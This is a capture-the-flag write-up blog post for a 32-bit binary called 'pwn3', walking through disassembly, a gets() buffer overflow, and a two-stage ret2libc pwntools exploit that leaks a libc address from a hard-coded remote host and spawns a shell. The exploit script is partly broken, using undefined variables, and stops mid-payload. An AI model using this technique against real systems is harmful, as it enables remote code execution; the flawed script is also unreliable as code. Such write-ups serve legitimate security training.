# pwn3

Posted by m4st3r3k on April 5, 2019

## Dangerous

[+] First of all check the binary file and execute

$file pwn3 pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ce51da8814e47e16a2df43c69d5c6ee12cc9bbd8, not stripped$./pwn3 I am hungry you have to feed me to win this challenge.

Now give me some sweet desert.

AAAA


[+] Let’s see in GDB. The ELF is not stripped so we can disassemble easily.

gdb-peda$disas main  Dump of assembler code for function main: 0x0804847d <+0>: push ebp 0x0804847e <+1>: mov ebp,esp 0x08048480 <+3>: and esp,0xfffffff0 0x08048483 <+6>: sub esp,0x90 0x08048489 <+12>: mov eax,ds:0x80497e0 0x0804848e <+17>: mov DWORD PTR [esp+0xc],0x0 0x08048496 <+25>: mov DWORD PTR [esp+0x8],0x2 0x0804849e <+33>: mov DWORD PTR [esp+0x4],0x0 0x080484a6 <+41>: mov DWORD PTR [esp],eax 0x080484a9 <+44>: call 0x8048370 <[email protected]> 0x080484ae <+49>: mov DWORD PTR [esp],0x8048570 0x080484b5 <+56>: call 0x8048340 <[email protected]> 0x080484ba <+61>: mov DWORD PTR [esp],0x80485ac 0x080484c1 <+68>: call 0x8048340 <[email protected]> 0x080484c6 <+73>: lea eax,[esp+0x10] 0x080484ca <+77>: mov DWORD PTR [esp],eax 0x080484cd <+80>: call 0x8048330 <[email protected]> 0x080484d2 <+85>: mov eax,0x0 0x080484d7 <+90>: leave 0x080484d8 <+91>: ret End of assembler dump.  [+] gets() function is being used. gets() is dangerous because it provides a way of buffer overflow attack or an error. The function gets() work in a way that it reads data form standard input stream until a new line is found. Possibly a buffer overflow. 0x080484cd <+80>: call 0x8048330 [email protected] [+] Let’s check sec of binary. gdb-peda$ checksec

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled


NX is enabled this suggests that if there is buffer overflow, we will use the ret2libc

[+] Let’s try to crash the binary:

 \$ python -c ‘print “A” *300’ ./pwn3

I am hungry you have to feed me to win this challenge

Now give me some sweet desert

Segmentation fault


It is clear that it is buffer overflow.

Of course this would be easy to run locally, working with something like this:

buf = ""
buf += "A"*140                          #OVERWRITE STACK
buf += p32(system_addr)         #OVERWRITE EIP with system acquired through: readelf -s your_libc | grep puts
buf += p32(fake_return)           #FAKE RETURN
buf += p32(bin_sh)                  #ARGUMENT OF SYSTEM with plt entry of puts acquired through: strings -a -t x your_libc | grep "/bin/sh"


Note: In 32-bit architecture arguments are passed on the stack so we do not need gadgets. False return is necessary because the system() function needs to be returned and without this your payload would be misaligned on the stack

[+] We know there is a buffer overflow and that nx is enabled. To make the NX bypass, we can use ret2libc. but … the big question is how to do this remotely? How to know which libc is being used on the remote host?

1 - First of all we need to know that we will have to leak the libc address, this will also give us an advantage over ALSR if it is active on the remote host. For this to happen you need to overwrite the EIP with the PLT of puts and pass as an argument the GOT of some function. In our case I used the puts

2 - Knowing the address of libc, we can find out which libc the binary is using on the remote server. See https://github.com/niklasb/libc-database

3 - Now with the right libc, we can properly calculate the libc base and extract the necessary offsets for /bin/sh, system, puts. With the address of the libc base added to the offsets of / bin / sh and system respectively we will arrive at the complete address of where they are

4 - Do you remember the fake return? The difference is that we now need to point it to main, because the exploit needs to work in two parts. Leak an address from libc and return to main + ret2libc == got shell

See exploit below:

import struct
import socket
from pwn import *

########################## [REMOTE EXPLOIT] by M4ST3R3K ##########################
###[PWN3]###

context(arch = 'i386', os = 'linux', endian = 'little')

#################### STAGE1 ####################

puts_plt = 0x8048340         #objdump -D pwn3 | grep puts
puts_got = 0x80497b0        #objdump -R pwn3 | grep puts
main = 0x804847d              #objdump -D pwn3 | grep main

buf = ""
buf += "A"*140                   #junk
buf += p32(puts_plt)          #plt entry of puts
buf += p32(puts_got)         #got entry of puts

s = remote('104.154.106.182', 4567)

log.info("Stage 1: ...Leaking Memory")

print ''

print s.recv()

s.sendline(buf)

leaked_puts_got = u32(leaked_puts_got)

print ''

#################### STAGE2 ####################

#---> libc obtained through the leak of the got puts address <---#
#libc6_2.19-0ubuntu6.14_i386

#---> dump of offsets obtained with libc-database <--- # https://github.com/niklasb/libc-database
#offset___libc_start_main_ret = 0x19af3
#offset_system = 0x00040310
#offset_dup2 = 0x000ddda0
#offset_write = 0x000dd460
#offset_str_bin_sh = 0x162d4c

offset_bin_sh = 0x162d4c
offset_system = 0x40310
offset_puts = 0x657e0
libc_base = leaked_puts_got - offset_puts

buf = ""
buf += "A"*132      #junk (in the second part of the exploration the payload had to be aligned. Obtained through debugger).
buf += p32(system_addr)       #system into libc